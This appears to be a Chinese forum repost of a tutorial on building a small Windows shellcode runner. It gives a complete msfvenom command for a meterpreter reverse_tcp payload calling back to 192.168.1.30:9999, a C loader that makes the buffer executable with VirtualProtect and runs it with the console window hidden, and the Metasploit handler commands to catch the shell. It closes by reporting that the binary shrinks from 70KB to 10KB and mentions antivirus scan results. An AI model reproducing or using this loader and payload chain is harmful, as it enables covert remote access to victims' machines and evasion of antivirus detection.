查看: 124|回复: 0

[转载图文] ShellCode 最小化编译优化

[复制链接]
发表于 2020-5-26 13:19:15 | 显示全部楼层 |阅读模式
  1.生成ShellCode
[[email protected] ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c
  2.替换ShellCode
#pragma comment(linker,"/INCREMENTAL:NO")                                     // 减小编译体积
#pragma comment(linker, "/section:.data,RWE")                                 // 启用数据段可读写
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")    // 隐藏控制台CMD窗体

#include <windows.h>
int main(void)
{
char *buff = (char*)"此处填写ShellCode";
DWORD ShellCode;

BOOL ret = VirtualProtect(buff, strlen(buff),PAGE_EXECUTE_READWRITE, &ShellCode);
if (!ret) { return EXIT_FAILURE; }
((void(*)(void))buff)();
return EXIT_SUCCESS;
}
  3.MSF监听事件。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z
  打开VS新建一个项目,这里我们要选择控制台项目,然后选择空项目,将上面的对勾全部去掉。

ShellCode 最小化编译优化

ShellCode 最小化编译优化
  粘贴并替换好,生成的ShellCode代码,然后编译代码,观察代码大小。

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化

ShellCode 最小化编译优化
  经过上方编译优化,大小从原来的70KB缩减至 10KB,查杀结果如下。

ShellCode 最小化编译优化

ShellCode 最小化编译优化


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表